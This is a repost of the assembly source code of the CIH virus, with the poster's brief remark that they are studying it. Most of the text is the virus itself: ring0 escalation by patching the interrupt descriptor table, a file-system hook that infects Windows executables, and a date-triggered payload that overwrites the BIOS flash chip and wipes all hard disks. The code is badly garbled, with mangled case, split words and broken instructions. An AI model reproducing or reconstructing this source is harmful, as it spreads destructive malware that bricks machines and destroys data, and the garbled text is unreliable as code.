***************************************
; * Recently, I have been studying compilation This morning, I have been boring. CIH source code *
; * Probably browse, unfortunately, the level is limited, I don't understand *
; * First, then slowly study again *
***************************************
*********************************************************** **************************; * The Virus Program Information *; ************** *********************************************************** **********; * *; * Designer: CIH Source: TTIT of Tatung in taiwan *; * Create Date: 04/26/1998 now version: 1.4 *; * modification time: 05/31 / 1998 *; * *; * Turbo Assembler Version 4.0: Tasm / m CiH *; * Turbo Link Version 3.01: TLINK / 3 / T CIH, CiH.exe *; * *; * ========= ============================================================================================================================================================================================================= ================ *; * MODI FICATION HISTORY *; * ============================================= ============================= *;
* V1.0 1. Create the Virus program program IDt to get ring0 privilege. *; * 04/26/1998 3. Virus code doesn't reload Into system. *; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System *;. * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook *;. * 6. When System Opens Existing PE File, the File will be *; * Infected, and the File does not be reinfected *;. * 7. IT IS Also Infected, Even The File Is Read-Only. *; * 8. When THE FILE INFECTED. *; *; My Virus Uses ifsmgr_ring0_fileio, it will not call *; * Previous FileSystemapiHook, It Will Call the function *; * That the IF S Manager Would Normal Call to Implement *; * This Particular I / O Request. *; * 10. The Virus Size IS Only 656 Bytes. *; * ================= ============================================================================================================================================================================================================= ======= *; * v1.1 1. especially, the file what be infreaded will not increase *; * it '
s size ... ^ __ ^ *; * 05/15/1998 2. Hook and modify structured exception handing. *; * When Exception error Occurs, OOS system shop be in *; * Windows Nt. so my cute virus Will NOT Continue To Run, *; * IT Will JMup To Original Application To Run. *; * 3. Use better algorithm, reduuce virus code size. *; * 4. The Virus "Basic" Size is Only 796 Bytes. *; * ============================================================================================================================================================================================================= ================================== *; * v1.2 1. Kill All HardDisk, and Bios ... super ... killer ... * ; * 2. modify the bug of v1.1 *; * 05/21/1998 3. The Virus "Basic" Size is 1003 bytes. *; * ================ ============================================================================================================================================================================================================= ========= *; * v1.3 1. Modify the bug this winzip self -Extractor Occurs error. *; * So when open winzip self-extractor ==> don't infect. *;
* 05/24/1998 2. The Virus "Basic" Size IS 1010 BYTES. *; * ============================= ====================================================== *; * V1. 4 1. Full Modify the bug: Winzip self-extractor ocurs error. *; * 2. Change the date of kililling computers. *; * 05/31/1998 3. Modify Virus Version Copyright. *; * 4. THE VIRUS Basic "size is 1019 bytes. *; ************************************************** *********************************. 586p; ************ *********************************************************** **************; * Original peecutable file (don't modify this section) *; ******************** ********* ******************************************** ORIGINALAPPEXE segment FileHeader:
DB 04DH, 05AH, 090H, 000H, 003H, 000H, 000H, 000H, 0FFH, 0FFH, 000H, 000H DB 0B8H, 000H, 000H, 000H, 000H, 000H, 000H DB 040H 000H, 000H, 000H DB 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H DB 000H, 000H 000H, 000H DB 000H, 000H, 000H, 000H, 080H, 000H, 000H, 000H DB 00Eh, 01FH, 0BAH, 00, 000H, 0B4H, 009H, 0CDH DB 021H, 0B8H, 001H , 04ch, 0 cdh, 021h, 054h, 068h DB 069H, 073H, 020H, 070H, 072H, 06FH, 067H, 072H DB 061H, 06GH, 072H, 06EH, 061H, 074H, 020H, 062H, 06 5H, 020H, 072H, 075H, 06EH DB 020H, 069H, 06EH, 020H, 044H, 04FH, 053H, 020H DB 06DH, 06FH, 064H, 065H, 02EH, 00DH, 00DH, 00AH DB 024H, 00DH, 00ah DB 024H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 04CH, 001H, 001H, 000H DB 0F1H, 068H, 020H, 035H, 000H, 000H, 000H DB 000H, 000H, 000H, 0E0H, 000H, 001H, 005H, 000H, 000H, 010H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H,
000H, 000H DB 010H, 010H, 000H, 000H DB 000H, 020H, 000H, 000H, 000H, 040H, 000H DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H, 000H DB 004H, 000H, 000H, 000H DB 004H, 000H, 000H, 000H, 000H, 000H DB 000H, 020H, 000H, 000H, 000H, 002H, 000H, 000H, 000H, 002H, 000H, 000H DB 000H, 000H, 000H, 000H DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H DB 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H DB 000H 000H, 000H, 000H DB 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H DB 000H, 000H 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H,
000H DB 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H DB 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H, 000H DB 000H, 000H, 000H, 000H, 000H, 000H DB 0C3H, 000H, 000H DB 0C3H, 000H, 000H, 000H, 000H, 000H, 000H, 000H DD 00000000H, Virussize Lea ECX,
STOPTORUNVIRUSCODE- @ 0 [EBX] Push ECX PUSH EAX; *************************; *'S modify *; * idt (Interrupt Descriptor Table) *; * to get ring0 privilege ... *; ********************************** *********** PUSH EAX; SIDT [ESP-02H]; GET IDT BASE AD Dress pop ebx; add ebx, hookExceptionNumber * 08h 04h; zf = 0 CLI MOV EBP, [EBX]; Get Exception Base MOV BP,
[EBX-04H]; ENTRY POINT LEA ESI, MyExceptionHook- @ 1 [ECX] Push ESI MOV [EBX-04H], Si; SHR ESI, 16; Modify Exception MOV [EBX 02H],
Si; entry point address pop esi; *************************; * Generate Exception To Get ring0 *; ********************************************* INT hookExceptionNumber; generateException ReturnadDressofendexception = $; * ********************************************; * Merge All Virus Code Section * ************************************; ********; *********** *************************; * Generate Exception Again *; **************** ******************** INT HOOKEXCEPTIONNUMBER; generateException AGA; ****
************************; * let's rest's rest's *; * Structured Exception handing *; ***** ******************************* ORESTORESE: STI XOR EBX, EBX JMP RESTORESE; ******** *********************** *****; * WHEN exception error Occurs, *; * out *; * SO My Cute Virus Will Not *; * Continue To Run, IT JMups to *; * Original Application To Run. *; ************************************************************** StoptorUnviruscode: @ 1 = stoptorunvi
Ruscode XOR EBX, EBX MOV EAX, FS: [EBX] MOV ESP, [EAX] RESTORESE: POP DWORD PTR FS: [EBX] POP Eax; ***************** ******************; * RETURN ORIGINAL APP to EXECUTE *; ********************** **************** Push Original OriginalAddressofEntryPoint = $ -4; App Entry Point To Stack Re; Return To Original App Entry Point; *********************** ********************************; *
Ring0 Virus Game Initial Program *; *************************************************** ************* MYEXCEPTIONHOK: @ 2 = myExceptionHook JZ installmyfilesystemapihook; *************************************** *********; * Do My Virus EXIST in System!? *; **************************************** ********* MOV ECX, DR0 JECXZ AllocateSystemMemoryPage Add DWORD PTR [ESP], ReadyRestorese-returnaddressof DEXCEPTION; ******************************************************** *********************************************************************************************************************************************************************************************************************************************************** ****
EXITRING0INIT: MOV [EBX-04H], BP; SHR EBP, 16; Restore Exception MOV [EBX 02H], BP; IRETD; ********************* ***************; * allocate systemMemory page to use *; ********************************* *********** AllocateSystemMemoryPage: MOV DR0, EBX; Set The Mark of My Virus Exis in System Push 00000000FH; PUSH ECX; PUSH 0FFFFFFFFH; PUSH ECX; PUSH ECX;
push ecx; push 000000001h; push 000000002h; int 20h; VMMCALL _PageAllocate _PageAllocate = $; dd 00010053h; Use EAX, ECX, EDX, and flags add esp, 08h * 04h xchg edi, eax; EDI = SystemMemory Start Addr s lea eax, MyvirusStart- @ 2 [ESI] IRETD; RETURN TO RING3 INITIAL Program; *************************; * Install My File System api hook *; ******************************************** InstallmyFileSystemapiHook: Lea Eax, FileSystemap
iHook- @ 6 [edi] push eax; int 20h; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $; dd 00400067h; Use EAX, ECX, EDX, and flags mov dr0, eax; Save OldFileSystemApiHook Add ss pop eax; EAX = FileSystemApiHook Address; Save Old IFSMGR_INSTALLESYSTEMAPIHOOK Entry Poin t mov ecx, IFSMgr_InstallFileSystemApiHook- @ 2 [esi] mov edx, [ecx] mov OldInstallFileSystemApiHook- @ 3 [eax], edx; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook- @ 3 [eax] mov [ecx], eax cli
JMP EXITRING0INIT; ********************************************************* *********; * code size of merge virus code section *; **************************************** *************************** CODESIZEOFMERGEVIRUSCODESECTION = offset $; ***************** ******************************; * IFSMGR_INSTALLESYSTEMAPIHOK *; ***** *********************************************************** ** InstallFileSystemapiHook: Push ebx call @ 4; @ 4:; pop ebx; Mov EBX, Offset FileSystemapiHook Add Ebx, FileSystemapiHook- @ 4; PU
sh ebx int 20h; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h; Use EAX, ECX, EDX, and flags pop eax; Call Original IFSMgr_InstallFileSystemApiHook; to Link Client FileSystemApiHook push dword ptr [esp 8] call OldInstallFileSystemApiHook- @ 3 [ebx] pop ECX PUSH EAX ; Call Original IFSMgr_InstallFileSystemApiHook; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook- @ 3 [ebx] pop ecx mov dr0, eax; Adjust OldFileSystemApiHook A ress
POP EAX POP EBX RET; **************************************************** ************; * static data *; **************************************** ************************* OldInstallFileSystemapiHook DD?; ********************** ***************************** *******; * ifsmgr_filesystemhook *; *********************************************** *****************; ***************************************** *******; * ifsmgr_filesystemhook entry point *; ***************************************************** * FileSystemapiHook:
@ 3 = FileSystemapiHook Pushad Call @ 5; @ 5:; Pop ESI; MOV ESI, Offset VirusgameDataStartAdd Ss Add ESI, VirusGameDataStartaddress- @ 5; ******************************* ****************; * is Onbusy!? *; ********************************* * *********** TEST BYTE PTR (Onbusy- @ 6) [ESI], 01H; if (Onbusy) JNZ Pifsfunc; goto pifunc; ************* ***********************; * IS openfile!? *; ******************* ******************
i (notopenfile); Goto Prevhook Lea EBX, [ESP 20H 04H 04H] CMP DWORD PTR [EBX], 00000024H JNE Prevhook; ******************** ******************; * enable onbusy *; ********************************* *********** Inc Byte Ptr (Onbusy- @ 6) [ESI]; enable Onbusy; *********************** ************* * Get filepath's drivenumber, *; * bound the Drivename to *; * filenamebuffer. *; **************************************** ********; * EX. If Drivenumber IS 03H, *; * Drivename is 'C:'. *; ******************** *****************
; MOV ESI, OFFSET FileNameBuffer Add ESI, FileNameBuffer- @ 6 Push ESI MOV AL, [EBX 04H] CMP AL, 0FFH JE Callunitobcspath Add Al, 40h Mov Ah, ':' MOV [ESI], EAX Inc ESI Inc ESI; **************************; * Unitobcspath *; *** *************************; * this service converts *; * a canonicalized unico
DE pathname *; * to a normal pathname in the *; * specified bcs character set. *; ****************************** ******** CALLENITOBCSPATH: PUSH 00000000h Push FileNameBuffersize Mov EBX, [EBX 10H] MOV Eax, [EBX 0CH] Add Eax, 04h Push Eax Push ESI INT 20H; vxdcall unitobcspath unitobcspath = $ dd 00400041h add ESP, 04H * 04H; ******************************************** ****; * is filename '.exe'!? *; ******************************************* ***
CMP [ESI EAX-04H], '.exe' CMP [ESI EAX-04H], 'EXE.' Pop ESI JNE DisableOnbusy if Debug; *************** *********************; * only for debug *; ********************* ***************; CMP [ESI EAX-06H], 'Fuck' CMP [ESI EAX-06H], 'KCUF 'Jne disableonbusy endif; ***********************************; * Is Open EXISTING FILE!? *; *********************************************
; not (notopenexistingfile); goto disableonbusy cmp Word PTR [EBX 18H], 01H JNE disableonbusy; ***************************************** ********; * get attributes of the file *; ***************************************** **** MOV AX, 4300H INT 20H; vxdcall ifsmgr_ring0_fileio IFSMGR_RING0_FILEIO = $ DD 00400032H JC Disableonbusy Push Ecx; **************************; * Get IFSMGR_RING0_FILEIO Address *; * *******************************************
Mov EDI, DWORD PTR (IFSMGR_RING0_FILEIO- @ 7) [ESI] MOV EDI, [EDI]; **************************************** ********; * Is Read-Only File!? *; **************************************** ****** TEST CL, 01H jz openfile; *************************************************** * Modify read-only file to write *; ******************************************************** Mov AX, 4301H XOR ECX, ECX Call Edi; VxdCall IFSMGR_RING0_FILEIO; ******************************************** ** * open file *; *******************************************
Openfile: xor EAX, EAX MOV AH, 0D5H XOR ECX, ECX XOR EDX, EDX INC EBX CALL EBX, EDX INC EBX CALL EBX, VXDCALL IFSMGR_RING0_FILEIO XCHG EBX, EAX; MOV EBX, FileHandle; ******** ****************** **********; * Need to restore *; * Attributes of the file!? *; ********************** ************* POP ECX PUSHF
TEST CL, 01H JZ Isopenfileok; *************************; * RESTORE Attributes of To File *; ******************************************** MOV AX, 4301H Call EDI; vxdcall ifsmgr_ring0_fileio; ***********************************; * IS open file ok!? *; *** **************************************** IsopenFileok: POPF JC Disableonbusy; *************************; * Open file already succeed. ^ __ ^ *
********************************************** PUSH ESI; PUSH FileNameBuffer Address to Stack Pushf; Now CF = 0, Push Flag to Stack Add ESI, DataBuffer- @ 7; MOV ESI, Offset Database; ****************; * Get offsettonewheader *; ************************************ EAX, EAX MOV AH, 0D6H; For Doing Minimal Viruscode's Length,; I Save EAX TO EBP. MOV EBP, EAX PUSH 00000004H POP ECX PUSH 0
000003ch pop edx call edi; VXDCall IFSMgr_Ring0_FileIO; * EDX = 'PE / 0/0' Signature of *; * ImageFileHeader Pointer's *; * Former Byte *;. * ESI = DataBuffer Address ==> @ 8 *; * EDI = IFSMgr_Ring0_FileIO Address *; * EBP = D600H ==> read data in file *; ******************************************* ***; * stack dump: *; * * ; * ESP => ------------------------- *; * | eflag (cf = 0) | *; * ------ ------------------- *; * | filenamebufferpointer | *; * ------------------------------------------------------------------------------------------------------------------------------- --- *; * | EDI | *; * ------------------------ *; * | ESI | *; * ---- -
------------------- *; * | EBP | *; * ---------------------- --- *; * | ESP | *; * ------------------------ *; * | EBX | *; * ---- --------------------- *; * | EDX | *; * -------------------- ----- *; * | ECX | *; * ----------------------- *; * | eax | *; * ----------------------- * ; * | Returniful | *; * ------------------------- *; ************* *********************** PUSH EBX; SAVE File Handle Push 00h; Set ViruscodeSectionTableEndmark; *********************** ************
; * Line's set the *; * virus' infected mark *; ************************** PUSH 01H; size push edx; Pointer of File push edi; address of buffer; *****************; * save esp register *; ******** ****************** MOV DR1, ESP; *****************; * let's set the *; * newdressofentrypoint *; * (only first set size) * ; ************************** PUSH EAX; SIZE
**************************; * let's read *; * image header in file *; ********* ****************** MOV EAX, EBP MOV CL, SIZEOFIMAGEHEADERTOREAD ADD EDX, 07H; Move EDX TO NUMBEROFSECTIONS CALL EDI; VXDCALL IFSMGR_RING0_FILEIO; ********* *****************; * let's set the *; * newdressofentrypoint *; * (Set Pointer of File, *; * address of buffer) *; ************************* Lea Eax, (AddressofentryPoint - @ 8) [EDX] Push Eax; Pointer of File Lea Eax (Newaddressofentrypoin
T- @ 8) [ESI] Push Eax; address of buffer; ****************; * Move EDX to the start * ; ********************************************** MOVZX EAX, Word Ptr (SizeOfoptionalHeader- @ 8) [ESI] LEA EDX, [EAX EDX 12H]; *****************; * let's get *; * to Tal size of sections *; *********************************** MOV AL, SIZEOFSCETABLE; I Assume Numberofsections <= 0ffh MOV CL, (NumberofSections @ 8) [ESI] MUL CL
***************************; * let's set section table *; ************* *************; Move ESI to the Start of SectionTable Lea ESI, (StartofsectionTable- @ 8) [ESI] Push Eax; Size Push EDX; POINTER OF FILE PUSH ESI; Address Of Buffer; **************************; * The code size of merge *; * Total size of virus *; * code section table must *; * beall or equal the *; * unused space size of *; * following section table *; ****** ********************
INC ECX PUSH ECX; Save Numberofsections 1 shl ECX, 03H Push Ecx; Save TotalsizeofviruscodeSECTIONTable Add ECX, EAX Add Ecx, Edx Sub ECX, (SizeOfheaders- @ 9) [ESI] NOT ECX INC ECX ; Save My Virus First Section Code; Size of Following Section Table ...; (Not Include the Size of Virus Code Section Table) push ecx xchg ecx, eax; ECX = Size of Section Table; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint- @ 9) [esi] add eax, (ImageBase- @ 9) [esi] mov (OriginalAddressOfEntryPoint- @ 9) [esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeS tion jl OnlySetInfectedMark; * *************************; * Read all section tables *; *************** *********** MOV EAX, EBP Call edi; vxdcall ifsmgr_ring0_fileio; *****************; * Full Modify the bug: *; * Winzip self-extractor *; * Occurs error ... *; **************************; * So by user opens *; * Winzip self-extractor, *
; * Virus doesn't infect it. *; **************************; * first, virus gets the *; * PointertorawData in The *; * second section table, *; * reads the section data, *; * and tests the string of *; * 'Winzip (r)' ... *; ********* ***************** XCHG EAX, EBP PUSH 00000004H POP ECX PUSH EDX MOV EDX, (SizeOfscertAble PointertorawData- @ 9) [E] Add Edx, 12h Call Edi; Vxdcall IFSMGR_RI
Nz [ESI], 'Nzip' CMP DWORD PTR [ESI], 'PIZN' JE NotsetInfectedmark Pop Edx; ************************ **; * code section table *; ********************************* ; Ebx = my virus first section; size of folly means Table Pop EBX POP EDI; EDI = TotalsizeOfviruscodeSECTIONTABL POP ECX; ECX = Numberofsections 1 Push EDI; Size Add Edx, EBP
PUSH EDX; POINTER OF FILE ADD EBP, ESI Push EBP; Address Of Buffer; ****************; * SET THE FIRST VIRUS *; * Code section size in *; * viruscodesectionTable *; ************************* LEA EAX, [EBP EDI-04H] MOV [EAX], EBX **************************; * let's set my virus *; * first section code *; ******** ******************* PUSH EBX; SIZE ADD
EDX, EDI PUSH EDX; POINTER OF FILE LEA EDI, (MyvirusStart- @ 9) [ESI] Push Edi; Address of Buffer; *********************** *****; * let's modify the *; * addressofentrypoint to *; * my virus entry point *; ********************************** * MOV (NewaddressofentryPoint- @ 9) [ ESI], EDX; ****************; * SETUP Initial Data *; ************ **************** Lea Edx, [ESI-SIZEOFSCETABLE] MOV EBP, OFFSET VIRUSSIZE JMP StartTowriteCodetosections
**************************; * WRITE CODE to Sections *; ************* ************* LOOPOFWRITECODETOSECTIONS: Add Edx, SizeOfScectionTable Mov EBX, (SizeOfrawData- @ 9) [EDX] Sub EBX, (Virtualsize- @ 9) [EDX] JBE Endofwritecodetosections PUSH EBX; SIZE SUB EAX, 08H MOV [EBX], EBX MOV EBX, (PointertorawData- @ 9) [EDX] Add EBX, (Virtualsize- @ 9) [EDX] Push Ebx; Pointer Of File
Push EDI; Address Of Buffer Mov EBX, (Virtualsize- @ 9) [EDX] Add EBX, (VirtualAddress- @ 9) [EDX] Add EBX, (ImageBase- @ 9) [ESI] MOV [EAX 4], EBX MOV EBX, [EAX] Add (Virtualsize- @ 9) [EDX], EBX; section contains initialized data ==> 00000040H; section can be read. ==> 40000000h or (characteristics- @ 9) [edx], 40000040h StartToWritecodetosections: Sub EBP, EBX Jbe SetviruscodeSECTIONTAblendmark Add Edi, EBX; Move Address of buffer
Endofwritecodetosections: loop loopofwritecodetosections; ****************; * ONLY SET Infected Mark *; ********** **************** ONLYSETINFECTEDMARK: MOV ESP, DR1 JMP WRITEVIRUSCODETOFILE ***************************; * NOT SET INFECTED MARK *; ************** ************* NOTSETINFECTEDMARK: Add ESP, 3CH JMP Closefile
**************************; * SET VIRUS code *; * section Table End Mark *; ******** ******************* SETVIRUSCODESECTIONTABLEENDMARK:; Adjust Size Of Virus Section Code to Correct Value Add [EBP Add "08H], EBP Add [ESP 08H], EBP; SET End Mark XOREBX, EBX MOV [EAX-04H], EBX; ****************; * WHEN VIRUSGAME CALLS *; * VXDCALL, VMM Modifies *; * the 'int 20h' and the *; * 'service Identifier' *; * to 'call [xxx
Xxxxx】 '. *; **************************; * Before Writing my virus *; * to file, i must restore *; * Them first. ^ __ ^ *; ************************** Lea Eax, (Lastvxdcalladdress-2- @ 9) [ESI] Mov Cl, VxdCallTablesize LoopofrestorevxdCallid: Mov Word PTR [EAX ], 20CDH MOV EDX, (vxdcallidtable (ECX-1) * 04H- @ 9) [ESI] MOV [EAX 2], EDX MOVZX EDX, BYTE PTR (VxDCalladdresStable ECX-1- @ 9) [ES SUB EAX, Edx loop loopof
RESTOREVXDCALLID; *****************; * let's write *; * virus code to the file *; ******* ****************** WRITEVIRUSCODETOFILE: MOV EAX, DR1 MOV EBX, [EAX 10h] MOV EDI, [EAX] loopofwriteviruscodetofile: POP ECX Jecxz SetFileModificationMark Mov ESI, ECX MOV EAX, 0D601H POP EDX POP ECX
Call edi; vxdcall ifsmgr_ring0_fileio jmp loopofwriteviruscodetofile; ****************; * Let's set cf = 1 ==> *; * Need To RESTORE File *; * MODIFICATION TIME *; ************************************ SETFILMODIFICATIONMARK: POP EBX POP EAX STC; Enable CF (Carry Flag) Pushf; ************************* *********; * Close File *; ******************************************* Closefile:
XOR EAX, EAX MOV AH, 0D7H CALL EDI; VXDCALL IFSMGR_RING0_FILEIO; ****************************************************** * Need to restore file model *; * Time!? *; ****************************************** *** POPF POP ESI JNC IskillComputer ************************************; * RESTORE FILE MODIFICATION TIME *; **** ********************************* MOV EBX, EDI MOV AX, 4303H MOV ECX, (filemodificationTIME- @ 7) [ESI]
Mov EDI, (FileModificationTime 2- @ 7) [ESI] Call Ebx; vxdcall ifsmgr_ring0_fileio; *************************************** *******; * disable onbusy *; ********************************************************* Disableonbusy: Dec Byte Ptr (Onbusy- @ 7) [ESI]; disable onbus; ****************************************** *****; * call previous filesystemapihook *; ************************************************ Prevhook: popad pop adj; ***************************
*********; * KILL COMPUTER!? ... * ^ _ ^ * *; ********************** ************* iskillComputer:; Get Now Day from Bios CMOS MOV Al, 07h OUT 70H, Al IN Al, 71H x Al, 26H; ?? / 26 / ???? i i uJMP disableonbusy else jnz disableonbusy endif; **************************; * KILL KILL KILL Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill * * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill kill *; * kill kill kill kill kill kill kill *; * kill kill kill kill kill kill kill *; ********************************** ************; ***************************; * Kill Bios EEPROM *; *** *********************** MOV BP, 0CF8H
Lea ESI, IOFOREEPROM- @ 7 [ESI]; **********************; * Show Bios Page In *; * 000E0000 - 000Effff *; * ( 64 KB) *; *********************** MOV EDI, 8000384CH MOV DX, 0CFEH CLI Call ESI ***********************; * Show Bios Page In *; * 000f0000 - 000ffff *; * (64 kB) *; ***** ****************** MOV DI, 0058H DEC EDX; And A 0fh
Mov Word Ptr (Booleancalculatecode- @ 10) [ESI], 0F24H Call ESI; **********************; * Show the bios extra *; * ROM Data in memory *; * 000E0000 - 000E01ff *; * (512 bytes) *; *, and the section *; * of extra bios can *; * be writted ... *; ********* ************ Lea EBX, EnableeePromTowrite- @ 10 [ESI] MOV EAX, 0E5555H MOV ECX, 0E2AAAH Call EBX MOV BYTE PTR [EAX], 60H PUSH ECX
Loop $; **************; * Kill the bios extra *; * ROM DATA IN MEMORY *; * 000E0000 - 000E007F *; * (80h Bytes) *; ***************************** AH MOV [EAX], Al Xchg ECX, EAX LOOP $; **************; * Show and enable the *; * bios main rom data *; * 000E0000 - 000ffff *; * (128 KB) *; * can be writted ... *; *****************
****** MOV EAX, 0F5555H POP ECX MOV Ch, 0AAH Call EBX MOV BYTE PTR [EAX], 20H loop $; *********************** **; * kill the bios main *; * ROM DATA IN MEMORY * ; * 000FE000 - 000FE07F *; * (80h Bytes) *; ********************** MOV AH, 0E0H MOV [EAX], Al; ** *********************; * HIDE BIOS Page IN *
* 000f0000 - 000fffffff *; * (64 kB) *; ***********************; or Al 0H MOV Word PTR (Booleancalculatecode- @ 10) [ESI], 100CH CALL ESI; *****************; * kill all herddisk *; ******** ******************************************; * IOR STRUCTURE OF IOS_SENDCOMMAND NEEDS *; ************************* *************************; * ?? ?? ?? ?? 01 00??? 01 05 00 40???? ?? *; * 00 00 00 00 00 00 00 00 c0 *; * ?? ?? ?? ??????????????? ????? *; *?????????????????? *; *???? ????????????????? 80??? *; ********************* ************************************* KILLHARDDISK: XOR
EBX, EBX MOV BH, FIRSTKILLHARDDisknumber Push EBX SUB ESP, 2CH PUSH 0C0001000H MOV BH, 08H PUSH EBX PUSH ECX PUSH ECX PUSH ECX PUSH 4000501H Inc ECX PUSH ECX Push ECX MOV ESI, ESP SUB ESP, 0ACH LOOPOFKILLHARDDISK: INT 20H MOV [ECX], Al Mov Byte Ptr [EAX], 80H
MOV [EAX], Cl Mov [ECX], Al Ret; ****************; * IO for EEPROM *; ** ******************************** IOFOREPROM: @ 10 = iOForeEprom Xchg Eax, EDI XCHG EDX, EBP OUT DX, EAX XCHG EAX, EDI XCHG EDX, EBP IN AL, DX BOOLANCALCALCECODE = $ OR Al, 4
4H XCHG EAX, EDI XCHG EDX, EBP OUT DX, EAX XCHG EAX, EDI XCHG EDX, EBP OUT DX, Al Ret; ************************ **************************************** * Static data *; *************************************************** ************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath V
XDCallIDTable DD 00010053H, 00400068H, 00400041H, 00400032H vxdcalltables / ($ -VxdcallidTable) / 04h; ******************************************* ****************; * Virus Version Copyright *; **************** ************************************************* VirusVersionCopyRight DB 'CiH V' DB MajorvirusVersion '0 'DB'. 'DB Minorvirusversion ' 0 'DB' Tatung ' *********************************************************** ********; * virus size *; ****************************************** ********************* Virussize = $; SIZEOFVIRUSCODESECTIONTABLEENDMARK (04H); Numberofsections (??) * SizeofViruscodeeSECTIONTA E (08H)
SizeofthefirstviruscodesectionTable (04H); **************************************************** ******; * Dynamic Data *; ****************************** *************************** VirusGameDataStartAddress = VirusSize @ 6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd? FileNameBuffer db FileNameBufferSize dup (?) @ 7 =FileNameBuffer DataBuffer = $ @ 8 = DATABUFFER NUMBEROFSECTIONS DW? TIMEDATESTAMP DD? SYMBOLSPOINTER DD? NUMBEROFSYMBOLS DD? SIZEOFOPTIONALHEADER DW?
_Characteristics dw? Magic dw? LinkerVersion dw? SizeOfCode dd? SizeOfInitializedData dd? SizeOfUninitializedData dd? AddressOfEntryPoint dd? BaseOfCode dd? BaseOfData dd? ImageBase dd? @ 9 = $ SectionAlignment dd? FileAlignment dd • OPERATINGSYSTEMVERSION DD? ImageVersion DD? SubsystemVersion DD? RESERVED DD? SIZEOFIMAGE DD? SIZEOFHEODERS DD? SIZEOFIMAGEHEADERTOREAD = $ -NumberofSections NewadDressofentryPoint =
DataBuffer; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @ 9 SectionName = StartOfSectionTable; QWORD VirtualSize = StartOfSectionTable 08h; DWORD VirtualAddress = StartOfSectionTable 0ch; DWORD SizeOfRawData = StartOfSectionTable 10h; DWORD PointerToRawData = StartOfSectionTable 14h; DWORD PointerToRelocations = StartOfSectionTable 18h; DWORD PointertolinenumBers = StartofsectionTable 1CH; DWORD NUMBEROFRELOCATIONS = StartofSECTIONTABLE 20H; Word Numberoflinennmbers = StartofsectionTable 22h; WO RD CHARACTERISTICS = StartofSECTIONTABLE 24H; DWORD SIZEOFSCETONTABLE = Characteristics 04H-SectionName; ******************************************** *************; * Virus Total Need Memory *; ******************* ********************************************* VirusNeedBaseMemory = $